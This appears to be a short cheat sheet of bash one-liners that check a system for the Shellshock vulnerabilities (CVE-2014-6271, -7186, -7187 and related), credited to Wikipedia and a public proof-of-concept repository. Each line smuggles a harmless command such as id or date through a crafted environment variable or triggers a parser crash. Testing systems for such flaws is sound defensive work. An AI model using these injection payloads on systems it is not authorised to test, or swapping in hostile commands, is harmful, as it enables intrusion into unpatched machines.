env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
# will create a file named echo in cwd with date in it, if vulnerable
env X='() { (a)=>\' bash -c "echo date"; cat echo
Taken from http://en.m.wikipedia.org/wiki/Shellshock_(software_bug)#CVE-2014-7186
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"
Taken from http://en.m.wikipedia.org/wiki/Shellshock_(software_bug)#CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
Taken from @mubix https://github.com/mubix/shellshocker-pocs
will segfault if vulnerable
() { x() { _; }; x() { _; } <<a; }
Additional discussion on fulldisclosure: http://seclists.org/fulldisclosure/2014/Oct/9
Taken from @mubix https://github.com/mubix/shellshocker-pocs
() { _; } >_[$($())] { echo hi mom; id; }